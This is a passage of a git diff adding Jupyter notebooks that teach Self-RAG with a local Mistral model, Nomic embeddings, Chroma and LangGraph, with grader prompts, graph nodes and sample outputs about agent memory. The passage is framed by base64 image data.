AAEEQkOA4FFoPGdGiQACCCCAAAIIIIBA0AvofXaqe/bd+firMmm/ZLZE9GMGjetAk2IjZNHcZNmwvcqRZXy6ltPnk8fb9yD6ZFuV3HLW1F5Ft+6vMwNdOnNiin3mVJqauWMEj/LUXkSHDouo2Fiv1N7VvWdSr4yeC5Nc+hOtZiJd/81sT8X7ff2f64pt92Ym2sdjy+QEAQQQQAABBBBAAAEERrzA4KytMOLZGCACCCCAAAIIIIAAAgj4W+CEOSlmlV0q2vL6FyXm+UAPrjhlsk9VxI0Nkyg1C8pI+cUNsk3NVnJNf3w7z3Zp1qQ42/mUNGcQqrm1Uz7cWm7LN04259Uah24/w1TEKd0SmPpsS4WsWlvktuxALv7tw0Lb7UtnJdnOOUEAAQQQQAABBBBAAIHQEiB4FFrPm9EigAACCCCAAAIIIBC0AjecMcXWt2dX77edD+Rk0fRESVAzm3xJ152dYyt2wyMb5QMV/GltPyQH1TJ2dzy7XTbuqDbL6P2FLlzq3FdJZ1yxPMvM1wd3/XWbrNvtvEfPRPpoW4X8+sWdtnLuTu66eLbt8kOrdsmtf9kievZTR5eqqCfpOgurWtwGu4wy7j51v4xZUjp/6dEpkp7AsnXurLiGAAIIIIAAAggggECoCLBsXag8acaJAAIIIIAAAggggECQC+iAxYnzx4ueXaNTaWWLPPT6Hvnhv033S88vOTVL/ue1vV7ruvikSfLXdwuksanDUVbPgrrjya0e77v27GyJtsxW0gWnZ8aK3p/oq13dASNdx3/94SvRgSa9H1Kd2g9JX9P7PHlLC6clyukL02X1xlKz6PptlaJ/dNJ16mTsWRQbEy6r7z3Zcc3bP3Qw7K5nttmK3Xxm72X6bAU4QQABBBBAAAEEEEAAgREvwMyjEf+IGSACCCCAAAIIIIAAAsNHwDVwseqDQrnrhVw57Jxg0+/B/MeSCT7dGz5mlDz6vQWigzDe0hmLMuTy5ZPdFrtbzRhKSYy05ekAj97XSQeOdDrx6PE+BZDuvGCWnH1Cpq0u40TXaQSO9DUd9Orsqd8o4+5zX2mTXPLrdVLf2B0k02Xm5CQ4Al/uynMNAQQQQAABBBBAAAEEQkeA4FHoPGtGigACCCCAAAIIIIBA0AtMy4iR5cek2vr57oYSOe/etXL/q7sdS73Vt3Ta8t2djFEBINek9zM6eYG97ohw938SzcuKl9fvPtFR3pjZY61PL4H3i6vmyS8vnSM62OQuZSZGyT/vWOqow3WGUXRUmJx6bJq6f67ERHtfEELPbPrZRbPl2R8vltnZ48zZRu7a1deqG9p7ZekA3J6DjfLCJwfkB09/LVfcv15a27ps5X54nn9medkq5QQBBBBAAAEEEEAAAQSGncCowyoNu17TYQQQQAABBBBAAAEEEBixAnrWzE1qibev99a4HeO8qQny5PePc5s3WBcr6tukoLxZolSwaeaEOInoWSruSNrT+xFVq3rS1PJ8GSqwZKQStXScDi7FqoDS2IgxMsp9LMoobn42qCBaXlmTNLV2B9N0gGlC8lhJiYt0W0dez0wjswKXgwdvWCDL5iS7XOUUAQQQQAABBBBAAAEEQlGA4FEoPnXGjAACCCCAAAIIIIBAkAvoZd3+/F6+PP1Wfq+epiZFyf+qWUGkIxNYu7NKVv5xc6+b0lPGyq+vOkpmT4zrlccFBBBAAAEEEEAAAQQQCE0B7+sjhKYLo0YAAQQQQAABBBBAAIEhFNAzcW5ckSP/ccIEef2LEnnvy3IpUzN3mtUsm8Zm78vWDWHXg7bp6sbupey0bVxsuByt9jf61vEZsmx2sk/7LgXtwOgYAggggAACCCCAAAII+F2AmUd+J6VCBBBAAAEEEEAAAQQQGEwBvfC2r0u7DWY/hmPd2A3Hp0afEUAAAQQQQAABBBAIvADBo8Cb0yICCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAgggELQCo4O2Z3QMAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAAAEEEEAg4AIEjwJOToMIIIAAAggggAACCCCAAAIIIIAAAggggAACCCCAQPAKEDwK3mdDzxBAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQACBgAsQPAo4OQ0igAACCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAsErQPAoeJ8NPUMAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAAAEEAi5A8Cjg5DSIAAIIIIAAAggggAACCCCAAAIIIIAAAggggAACCASvAMGj4H029AwBBBBAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQCLgAwaOAk9MgAggggAACCCCAAAIIIIAAAggggAACCCCAAAIIIBC8AgSPgvfZ0DMEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAIOACBI8CTk6DCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAggggEDwChA8Ct5nQ88QQAABBBBAAAEEEEAAAQQQQAABBBBAAAEEEEAAgYALEDwKODkNIoAAAggggAACCCCAAAIIIIAAAggggAACCCCAAALBK0DwKHifDT1DAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBAIuQPAo4OQ0iAACCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAggErwDBo+B9NvQMAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAAAEEEAi4AMGjgJPTIAIIIIAAAggggAACCCCAAAIIIIAAAggggAACCCAQvAIEj4L32dAzBBBAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQCDgAgSPAk5OgwgggAACCCCAAAIIIIAAAggggAACCCCAAAIIIIBA8AoQPAreZ0PPEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAAIGACxA8Cjg5DSKAAAIIIIAAAggggAACCCCAAAIIIIAAAggggAACwStA8Ch4nw09QwABBBBAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQCLkDwKODkNIgAAggggAACCCCAAAIIIIAAAggggAACCCCAAAIIBK/A/wenhavaQUDOigAAAABJRU5ErkJggg==" + } + }, + "cell_type": "markdown", + "id": "848ba742-7443-4123-8115-061da9823309", + "metadata": {}, + "source": [ + "# Self-RAG using local LLMs\n", + "\n", + "Self-RAG is a strategy for RAG that incorporates self-reflection / self-grading on retrieved documents and generations. \n", + "\n", + "In the [paper](https://arxiv.org/abs/2310.11511), a few decisions are made:\n", + "\n", + "1. Should I retrieve from retriever, `R` -\n", + "\n", + "* Input: `x (question)` OR `x (question)`, `y (generation)`\n", + "* Decides when to retrieve `D` chunks with `R`\n", + "* Output: `yes, no, continue`\n", + "\n", + "2. Are the retrieved passages `D` relevant to the question `x` -\n", + "\n", + "* * Input: (`x (question)`, `d (chunk)`) for `d` in `D`\n", + "* `d` provides useful information to solve `x`\n", + "* Output: `relevant, irrelevant`\n", + "\n", + "3. Are the LLM generation from each chunk in `D` is relevant to the chunk (hallucinations, etc) -\n", + "\n", + "* Input: `x (question)`, `d (chunk)`, `y (generation)` for `d` in `D`\n", + "* All of the verification-worthy statements in `y (generation)` are supported by `d`\n", + "* Output: `{fully supported, partially supported, no support`\n", + "\n", + "4. The LLM generation from each chunk in `D` is a useful response to `x (question)` -\n", + "\n", + "* Input: `x (question)`, `y (generation)` for `d` in `D`\n", + "* `y (generation)` is a useful response to `x (question)`.\n", + "* Output: `{5, 4, 3, 2, 1}`\n", + "\n", + "We will implement some of these ideas from scratch using [LangGraph](https://langchain-ai.github.io/langgraph/).\n", + "\n", + "![Screenshot 2024-04-01 at 12.42.59 PM.png](attachment:5fca0a3e-d13d-4bfa-95ea-58203640cc7a.png)" + ] + }, + { + "cell_type": "markdown", + "id": "9ed0a85a-a33b-40a6-99fa-2444bf57a6cc", + "metadata": {}, + "source": [ + "## Setup\n", + "\n", + "First let's install our required packages and set our API keys" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "d7f9cc6d-a70c-433a-b0ad-ea47c5a0717e", + "metadata": {}, + "outputs": [], + "source": [ + "%capture --no-stderr\n", + "%pip install -U langchain-nomic langchain_community tiktoken langchainhub chromadb langchain langgraph nomic[local]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "71c540ca", + "metadata": {}, + "outputs": [], + "source": [ + "import getpass\n", + "import os\n", + "\n", + "\n", + "def _set_env(key: str):\n", + " if key not in os.environ:\n", + " os.environ[key] = getpass.getpass(f\"{key}:\")\n", + "\n", + "\n", + "_set_env(\"NOMIC_API_KEY\")" + ] + }, + { + "cell_type": "markdown", + "id": "05e8cf60", + "metadata": {}, + "source": [ + "
\n", + "

Set up LangSmith for LangGraph development

\n", + "

\n", + " Sign up for LangSmith to quickly spot issues and improve the performance of your LangGraph projects. LangSmith lets you use trace data to debug, test, and monitor your LLM apps built with LangGraph — read more about how to get started here. \n", + "

\n", + "
" + ] + }, + { + "cell_type": "markdown", + "id": "ccc6b6bd-a2fa-4a43-83b7-704b8b6fb855", + "metadata": {}, + "source": [ + "### LLMs\n", + "\n", + "#### Local Embeddings\n", + "\n", + "You can use `GPT4AllEmbeddings()` from Nomic, which can access use Nomic's recently released [v1](https://blog.nomic.ai/posts/nomic-embed-text-v1) and [v1.5](https://blog.nomic.ai/posts/nomic-embed-matryoshka) embeddings.\n", + "\n", + "\n", + "Follow the documentation [here](https://docs.gpt4all.io/gpt4all_python_embedding.html#supported-embedding-models).\n", + "\n", + "#### Local LLM\n", + "\n", + "(1) Download [Ollama app](https://ollama.ai/).\n", + "\n", + "(2) Download a `Mistral` model from various Mistral versions [here](https://ollama.ai/library/mistral) and Mixtral versions [here](https://ollama.ai/library/mixtral) available.\n", + "```\n", + "ollama pull mistral\n", + "```" + ] + }, + { + "cell_type": "code", + "execution_count": 2, + "id": "bedffc73-6b10-42c8-8768-2085c8ed3398", + "metadata": {}, + "outputs": [], + "source": [ + "# Ollama model name\n", + "local_llm = \"mistral\"" + ] + }, + { + "cell_type": "markdown", + "id": "ba68a46d-b617-4fdc-9113-fabdcf736feb", + "metadata": {}, + "source": [ + "## Create Index\n", + "\n", + "Let's index 3 blog posts." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "c3bb9060-ad74-4470-9991-2ba167b6b8d8", + "metadata": {}, + "outputs": [], + "source": [ + "from langchain.text_splitter import RecursiveCharacterTextSplitter\n", + "from langchain_community.document_loaders import WebBaseLoader\n", + "from langchain_community.vectorstores import Chroma\n", + "from langchain_nomic.embeddings import NomicEmbeddings\n", + "\n", + "urls = [\n", + " \"https://lilianweng.github.io/posts/2023-06-23-agent/\",\n", + " \"https://lilianweng.github.io/posts/2023-03-15-prompt-engineering/\",\n", + " \"https://lilianweng.github.io/posts/2023-10-25-adv-attack-llm/\",\n", + "]\n", + "\n", + "docs = [WebBaseLoader(url).load() for url in urls]\n", + "docs_list = [item for sublist in docs for item in sublist]\n", + "\n", + "text_splitter = RecursiveCharacterTextSplitter.from_tiktoken_encoder(\n", + " chunk_size=250, chunk_overlap=0\n", + ")\n", + "doc_splits = text_splitter.split_documents(docs_list)\n", + "\n", + "# Add to vectorDB\n", + "vectorstore = Chroma.from_documents(\n", + " documents=doc_splits,\n", + " collection_name=\"rag-chroma\",\n", + " embedding=NomicEmbeddings(model=\"nomic-embed-text-v1.5\", inference_mode=\"local\"),\n", + ")\n", + "retriever = vectorstore.as_retriever()" + ] + }, + { + "cell_type": "markdown", + "id": "cc60ff95-7e12-4004-b18e-a067a2dcc201", + "metadata": {}, + "source": [ + "## LLMs" + ] + }, + { + "cell_type": "code", + "execution_count": 6, + "id": "3aad0c60-3208-48fb-af82-0024630b4da1", + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "{'score': 'yes'}\n" + ] + } + ], + "source": [ + "### Retrieval Grader\n", + "\n", + "from langchain.prompts import PromptTemplate\n", + "from langchain_community.chat_models import ChatOllama\n", + "from langchain_core.output_parsers import JsonOutputParser\n", + "\n", + "# LLM\n", + "llm = ChatOllama(model=local_llm, format=\"json\", temperature=0)\n", + "\n", + "prompt = PromptTemplate(\n", + " template=\"\"\"You are a grader assessing relevance of a retrieved document to a user question. \\n \n", + " Here is the retrieved document: \\n\\n {document} \\n\\n\n", + " Here is the user question: {question} \\n\n", + " If the document contains keywords related to the user question, grade it as relevant. \\n\n", + " It does not need to be a stringent test. The goal is to filter out erroneous retrievals. \\n\n", + " Give a binary score 'yes' or 'no' score to indicate whether the document is relevant to the question. \\n\n", + " Provide the binary score as a JSON with a single key 'score' and no premable or explanation.\"\"\",\n", + " input_variables=[\"question\", \"document\"],\n", + ")\n", + "\n", + "retrieval_grader = prompt | llm | JsonOutputParser()\n", + "question = \"agent memory\"\n", + "docs = retriever.get_relevant_documents(question)\n", + "doc_txt = docs[1].page_content\n", + "print(retrieval_grader.invoke({\"question\": question, \"document\": doc_txt}))" + ] + }, + { + "cell_type": "code", + "execution_count": 7, + "id": "e5e45953-248d-492f-af28-d5e80c664c95", + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + " In an LLM-powered autonomous agent system, the Large Language Model (LLM) functions as the agent's brain. The agent has key components including memory, planning, and reflection mechanisms. The memory component is a long-term memory module that records a comprehensive list of agents’ experience in natural language. It includes a memory stream, which is an external database for storing past experiences. The reflection mechanism synthesizes memories into higher-level inferences over time and guides the agent's future behavior.\n" + ] + } + ], + "source": [ + "### Generate\n", + "\n", + "from langchain import hub\n", + "from langchain_core.output_parsers import StrOutputParser\n", + "\n", + "# Prompt\n", + "prompt = hub.pull(\"rlm/rag-prompt\")\n", + "\n", + "# LLM\n", + "llm = ChatOllama(model=local_llm, temperature=0)\n", + "\n", + "\n", + "# Post-processing\n", + "def format_docs(docs):\n", + " return \"\\n\\n\".join(doc.page_content for doc in docs)\n", + "\n", + "\n", + "# Chain\n", + "rag_chain = prompt | llm | StrOutputParser()\n", + "\n", + "# Run\n", + "generation = rag_chain.invoke({\"context\": docs, \"question\": question})\n", + "print(generation)" + ] + }, + { + "cell_type": "code", + "execution_count": 8, + "id": "56297862-df87-42a7-ba9d-310926dfb328", + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "{'score': 'yes'}" + ] + }, + "execution_count": 8, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "### Hallucination Grader\n", + "\n", + "# LLM\n", + "llm = ChatOllama(model=local_llm, format=\"json\", temperature=0)\n", + "\n", + "# Prompt\n", + "prompt = PromptTemplate(\n", + " template=\"\"\"You are a grader assessing whether an answer is grounded in / supported by a set of facts. \\n \n", + " Here are the facts:\n", + " \\n ------- \\n\n", + " {documents} \n", + " \\n ------- \\n\n", + " Here is the answer: {generation}\n", + " Give a binary score 'yes' or 'no' score to indicate whether the answer is grounded in / supported by a set of facts. \\n\n", + " Provide the binary score as a JSON with a single key 'score' and no preamble or explanation.\"\"\",\n", + " input_variables=[\"generation\", \"documents\"],\n", + ")\n", + "\n", + "hallucination_grader = prompt | llm | JsonOutputParser()\n", + "hallucination_grader.invoke({\"documents\": docs, \"generation\": generation})" + ] + }, + { + "cell_type": "code", + "execution_count": 10, + "id": "e1dd9174-2df6-45b1-8e69-13381f579c39", + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "{'score': 'yes'}" + ] + }, + "execution_count": 10, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "### Answer Grader\n", + "\n", + "# LLM\n", + "llm = ChatOllama(model=local_llm, format=\"json\", temperature=0)\n", + "\n", + "# Prompt\n", + "prompt = PromptTemplate(\n", + " template=\"\"\"You are a grader assessing whether an answer is useful to resolve a question. \\n \n", + " Here is the answer:\n", + " \\n ------- \\n\n", + " {generation} \n", + " \\n ------- \\n\n", + " Here is the question: {question}\n", + " Give a binary score 'yes' or 'no' to indicate whether the answer is useful to resolve a question. \\n\n", + " Provide the binary score as a JSON with a single key 'score' and no preamble or explanation.\"\"\",\n", + " input_variables=[\"generation\", \"question\"],\n", + ")\n", + "\n", + "answer_grader = prompt | llm | JsonOutputParser()\n", + "answer_grader.invoke({\"question\": question, \"generation\": generation})" + ] + }, + { + "cell_type": "code", + "execution_count": 11, + "id": "5216d92b-1ca1-4bcf-a34f-c99ec2766b54", + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "' What is agent memory and how can it be effectively utilized in vector database retrieval?'" + ] + }, + "execution_count": 11, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "### Question Re-writer\n", + "\n", + "# LLM\n", + "llm = ChatOllama(model=local_llm, temperature=0)\n", + "\n", + "# Prompt\n", + "re_write_prompt = PromptTemplate(\n", + " template=\"\"\"You a question re-writer that converts an input question to a better version that is optimized \\n \n", + " for vectorstore retrieval. Look at the initial and formulate an improved question. \\n\n", + " Here is the initial question: \\n\\n {question}. Improved question with no preamble: \\n \"\"\",\n", + " input_variables=[\"generation\", \"question\"],\n", + ")\n", + "\n", + "question_rewriter = re_write_prompt | llm | StrOutputParser()\n", + "question_rewriter.invoke({\"question\": question})" + ] + }, + { + "cell_type": "markdown", + "id": "3d3339b9-5f30-4d54-bfc9-9091c6035955", + "metadata": {}, + "source": [ + "# Graph \n", + "\n", + "Capture the flow in as a graph.\n", + "\n", + "## Graph state" + ] + }, + { + "cell_type": "code", + "execution_count": 13, + "id": "90fb1dc6-c482-483a-8441-39965c401beb", + "metadata": {}, + "outputs": [], + "source": [ + "from typing import List\n", + "\n", + "from typing_extensions import TypedDict\n", + "\n", + "\n", + "class GraphState(TypedDict):\n", + " \"\"\"\n", + " Represents the state of our graph.\n", + "\n", + " Attributes:\n", + " question: question\n", + " generation: LLM generation\n", + " documents: list of documents\n", + " \"\"\"\n", + "\n", + " question: str\n", + " generation: str\n", + " documents: List[str]" + ] + }, + { + "cell_type": "code", + "execution_count": 14, + "id": "5324ea49-5745-47b5-a0a5-bf58c8babe46", + "metadata": {}, + "outputs": [], + "source": [ + "### Nodes\n", + "\n", + "\n", + "def retrieve(state):\n", + " \"\"\"\n", + " Retrieve documents\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " state (dict): New key added to state, documents, that contains retrieved documents\n", + " \"\"\"\n", + " print(\"---RETRIEVE---\")\n", + " question = state[\"question\"]\n", + "\n", + " # Retrieval\n", + " documents = retriever.get_relevant_documents(question)\n", + " return {\"documents\": documents, \"question\": question}\n", + "\n", + "\n", + "def generate(state):\n", + " \"\"\"\n", + " Generate answer\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " state (dict): New key added to state, generation, that contains LLM generation\n", + " \"\"\"\n", + " print(\"---GENERATE---\")\n", + " question = state[\"question\"]\n", + " documents = state[\"documents\"]\n", + "\n", + " # RAG generation\n", + " generation = rag_chain.invoke({\"context\": documents, \"question\": question})\n", + " return {\"documents\": documents, \"question\": question, \"generation\": generation}\n", + "\n", + "\n", + "def grade_documents(state):\n", + " \"\"\"\n", + " Determines whether the retrieved documents are relevant to the question.\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " state (dict): Updates documents key with only filtered relevant documents\n", + " \"\"\"\n", + "\n", + " print(\"---CHECK DOCUMENT RELEVANCE TO QUESTION---\")\n", + " question = state[\"question\"]\n", + " documents = state[\"documents\"]\n", + "\n", + " # Score each doc\n", + " filtered_docs = []\n", + " for d in documents:\n", + " score = retrieval_grader.invoke(\n", + " {\"question\": question, \"document\": d.page_content}\n", + " )\n", + " grade = score[\"score\"]\n", + " if grade == \"yes\":\n", + " print(\"---GRADE: DOCUMENT RELEVANT---\")\n", + " filtered_docs.append(d)\n", + " else:\n", + " print(\"---GRADE: DOCUMENT NOT RELEVANT---\")\n", + " continue\n", + " return {\"documents\": filtered_docs, \"question\": question}\n", + "\n", + "\n", + "def transform_query(state):\n", + " \"\"\"\n", + " Transform the query to produce a better question.\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " state (dict): Updates question key with a re-phrased question\n", + " \"\"\"\n", + "\n", + " print(\"---TRANSFORM QUERY---\")\n", + " question = state[\"question\"]\n", + " documents = state[\"documents\"]\n", + "\n", + " # Re-write question\n", + " better_question = question_rewriter.invoke({\"question\": question})\n", + " return {\"documents\": documents, \"question\": better_question}\n", + "\n", + "\n", + "### Edges\n", + "\n", + "\n", + "def decide_to_generate(state):\n", + " \"\"\"\n", + " Determines whether to generate an answer, or re-generate a question.\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " str: Binary decision for next node to call\n", + " \"\"\"\n", + "\n", + " print(\"---ASSESS GRADED DOCUMENTS---\")\n", + " state[\"question\"]\n", + " filtered_documents = state[\"documents\"]\n", + "\n", + " if not filtered_documents:\n", + " # All documents have been filtered check_relevance\n", + " # We will re-generate a new query\n", + " print(\n", + " \"---DECISION: ALL DOCUMENTS ARE NOT RELEVANT TO QUESTION, TRANSFORM QUERY---\"\n", + " )\n", + " return \"transform_query\"\n", + " else:\n", + " # We have relevant documents, so generate answer\n", + " print(\"---DECISION: GENERATE---\")\n", + " return \"generate\"\n", + "\n", + "\n", + "def grade_generation_v_documents_and_question(state):\n", + " \"\"\"\n", + " Determines whether the generation is grounded in the document and answers question.\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " str: Decision for next node to call\n", + " \"\"\"\n", + "\n", + " print(\"---CHECK HALLUCINATIONS---\")\n", + " question = state[\"question\"]\n", + " documents = state[\"documents\"]\n", + " generation = state[\"generation\"]\n", + "\n", + " score = hallucination_grader.invoke(\n", + " {\"documents\": documents, \"generation\": generation}\n", + " )\n", + " grade = score[\"score\"]\n", + "\n", + " # Check hallucination\n", + " if grade == \"yes\":\n", + " print(\"---DECISION: GENERATION IS GROUNDED IN DOCUMENTS---\")\n", + " # Check question-answering\n", + " print(\"---GRADE GENERATION vs QUESTION---\")\n", + " score = answer_grader.invoke({\"question\": question, \"generation\": generation})\n", + " grade = score[\"score\"]\n", + " if grade == \"yes\":\n", + " print(\"---DECISION: GENERATION ADDRESSES QUESTION---\")\n", + " return \"useful\"\n", + " else:\n", + " print(\"---DECISION: GENERATION DOES NOT ADDRESS QUESTION---\")\n", + " return \"not useful\"\n", + " else:\n", + " print(\"---DECISION: GENERATION IS NOT GROUNDED IN DOCUMENTS, RE-TRY---\")\n", + " return \"not supported\"" + ] + }, + { + "cell_type": "markdown", + "id": "bdf3826c-b668-4f0b-bf83-81c40baaaf02", + "metadata": {}, + "source": [ + "## Build Graph\n", + "\n", + "This just follows the flow we outlined in the figure above." + ] + }, + { + "cell_type": "code", + "execution_count": 15, + "id": "5605dee4-b2df-46ae-a640-cc2ed90c21a6", + "metadata": {}, + "outputs": [], + "source": [ + "from langgraph.graph import END, StateGraph, START\n", + "\n", + "workflow = StateGraph(GraphState)\n", + "\n", + "# Define the nodes\n", + "workflow.add_node(\"retrieve\", retrieve) # retrieve\n", + "workflow.add_node(\"grade_documents\", grade_documents) # grade documents\n", + "workflow.add_node(\"generate\", generate) # generate\n", + "workflow.add_node(\"transform_query\", transform_query) # transform_query\n", + "\n", + "# Build graph\n", + "workflow.add_edge(START, \"retrieve\")\n", + "workflow.add_edge(\"retrieve\", \"grade_documents\")\n", + "workflow.add_conditional_edges(\n", + " \"grade_documents\",\n", + " decide_to_generate,\n", + " {\n", + " \"transform_query\": \"transform_query\",\n", + " \"generate\": \"generate\",\n", + " },\n", + ")\n", + "workflow.add_edge(\"transform_query\", \"retrieve\")\n", + "workflow.add_conditional_edges(\n", + " \"generate\",\n", + " grade_generation_v_documents_and_question,\n", + " {\n", + " \"not supported\": \"generate\",\n", + " \"useful\": END,\n", + " \"not useful\": \"transform_query\",\n", + " },\n", + ")\n", + "\n", + "# Compile\n", + "app = workflow.compile()" + ] + }, + { + "cell_type": "markdown", + "id": "105ae1b5-6963-4186-bb83-6d6cb96d095f", + "metadata": {}, + "source": [ + "## Run\n" + ] + }, + { + "cell_type": "code", + "execution_count": 16, + "id": "26a64f7d-0c14-4e31-a67f-63021dee626e", + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "---RETRIEVE---\n", + "\"Node 'retrieve':\"\n", + "'\\n---\\n'\n", + "---CHECK DOCUMENT RELEVANCE TO QUESTION---\n", + "---GRADE: DOCUMENT RELEVANT---\n", + "---GRADE: DOCUMENT RELEVANT---\n", + "---GRADE: DOCUMENT RELEVANT---\n", + "---GRADE: DOCUMENT RELEVANT---\n", + "\"Node 'grade_documents':\"\n", + "'\\n---\\n'\n", + "---ASSESS GRADED DOCUMENTS---\n", + "---DECISION: GENERATE---\n", + "---GENERATE---\n", + "\"Node 'generate':\"\n", + "'\\n---\\n'\n", + "---CHECK HALLUCINATIONS---\n", + "---DECISION: GENERATION IS GROUNDED IN DOCUMENTS---\n", + "---GRADE GENERATION vs QUESTION---\n", + "---DECISION: GENERATION ADDRESSES QUESTION---\n", + "\"Node '__end__':\"\n", + "'\\n---\\n'\n", + "(' In a LLM-powered autonomous agent system, memory is a key component that '\n", + " 'enables agents to store and retrieve information. There are different types '\n", + " 'of memory in human brains, such as sensory memory which retains impressions '\n", + " 'of sensory information for a few seconds, and long-term memory which records '\n", + " \"experiences for extended periods (Lil'Log, 2023). In the context of LLM \"\n", + " 'agents, memory is often implemented as an external database or memory stream '\n", + " \"(Lil'Log, 2023). The agent can consult this memory to inform its behavior \"\n", + " 'based on relevance, recency, and importance. Additionally, reflection '\n", + " 'mechanisms synthesize memories into higher-level inferences over time and '\n", + " \"guide the agent's future behavior (Lil'Log, 2023).\")\n" + ] + } + ], + "source": [ + "from pprint import pprint\n", + "\n", + "# Run\n", + "inputs = {\"question\": \"Explain how the different types of agent memory work?\"}\n", + "for output in app.stream(inputs):\n", + " for key, value in output.items():\n", + " # Node\n", + " pprint(f\"Node '{key}':\")\n", + " # Optional: print full state at each node\n", + " # pprint.pprint(value[\"keys\"], indent=2, width=80, depth=None)\n", + " pprint(\"\\n---\\n\")\n", + "\n", + "# Final generation\n", + "pprint(value[\"generation\"])" + ] + }, + { + "cell_type": "markdown", + "id": "f9a27907-2611-4791-910b-0d66c59f5cf5", + "metadata": {}, + "source": [ + "Trace: \n", + "\n", + "https://smith.langchain.com/public/4163a342-5260-4852-8602-bda3f95177e7/r" + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.11.8" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/examples/rag/langgraph_self_rag_pinecone_movies.ipynb b/examples/rag/langgraph_self_rag_pinecone_movies.ipynb new file mode 100644 index 0000000..cb6dd76 --- /dev/null +++ b/examples/rag/langgraph_self_rag_pinecone_movies.ipynb @@ -0,0 +1,758 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "403aeb6e", + "metadata": {}, + "source": [ + "This directory is retained purely for archival purposes and is no longer updated. Please see the newly [consolidated LangChain documentation](https://docs.langchain.com/oss/python/langgraph/overview) for the most current information and resources." + ] + }, + { + "attachments": { + "15cba0ab-a549-4909-8373-fb761e384eff.png": { + "image/png": "iVBORw0KGgoAAAANSUhEUgAABpwAAAJ0CAYAAAAPhYDIAAAMP2lDQ1BJQ0MgUHJvZmlsZQAASImVVwdYU8kWnluSkEBCCSAgJfQmCEgJICWEFkB6EWyEJEAoMQaCiB1dVHDtYgEbuiqi2AGxI3YWwd4XRRSUdbFgV96kgK77yvfO9829//3nzH/OnDu3DADqp7hicQ6qAUCuKF8SGxLAGJucwiB1AwTggAYIgMDl5YlZ0dERANrg+e/27ib0hnbNQab1z/7/app8QR4PACQa4jR+Hi8X4kMA4JU8sSQfAKKMN5+aL5Zh2IC2BCYI8UIZzlDgShlOU+B9cp/4WDbEzQCoqHG5kgwAaG2QZxTwMqAGrQ9iJxFfKAJAnQGxb27uZD7EqRDbQB8xxDJ9ZtoPOhl/00wb0uRyM4awYi5yUwkU5olzuNP+z3L8b8vNkQ7GsIJNLVMSGiubM6zb7ezJ4TKsBnGvKC0yCmItiD8I+XJ/iFFKpjQ0QeGPGvLy2LBmQBdiJz43MBxiQ4iDRTmREUo+LV0YzIEYrhC0UJjPiYdYD+KFgrygOKXPZsnkWGUstC5dwmYp+QtciTyuLNZDaXYCS6n/OlPAUepjtKLM+CSIKRBbFAgTIyGmQeyYlx0XrvQZXZTJjhz0kUhjZflbQBwrEIUEKPSxgnRJcKzSvzQ3b3C+2OZMISdSiQ/kZ8aHKuqDNfO48vzhXLA2gYiVMKgjyBsbMTgXviAwSDF3rFsgSohT6nwQ5wfEKsbiFHFOtNIfNxPkhMh4M4hd8wrilGPxxHy4IBX6eLo4PzpekSdelMUNi1bkgy8DEYANAgEDSGFLA5NBFhC29tb3witFTzDgAgnIAALgoGQGRyTJe0TwGAeKwJ8QCUDe0LgAea8AFED+6xCrODqAdHlvgXxENngKcS4IBznwWiofJRqKlgieQEb4j+hc2Hgw3xzYZP3/nh9kvzMsyEQoGelgRIb6oCcxiBhIDCUGE21xA9wX98Yj4NEfNheciXsOzuO7P+EpoZ3wmHCD0EG4M0lYLPkpyzGgA+oHK2uR9mMtcCuo6YYH4D5QHSrjurgBcMBdYRwW7gcju0GWrcxbVhXGT9p/m8EPd0PpR3Yio+RhZH+yzc8jaXY0tyEVWa1/rI8i17SherOHen6Oz/6h+nx4Dv/ZE1uIHcTOY6exi9gxrB4wsJNYA9aCHZfhodX1RL66BqPFyvPJhjrCf8QbvLOySuY51Tj1OH1R9OULCmXvaMCeLJ4mEWZk5jNY8IsgYHBEPMcRDBcnF1cAZN8XxevrTYz8u4Hotnzn5v0BgM/JgYGBo9+5sJMA7PeAj/+R75wNE346VAG4cIQnlRQoOFx2IMC3hDp80vSBMTAHNnA+LsAdeAN/EATCQBSIB8lgIsw+E65zCZgK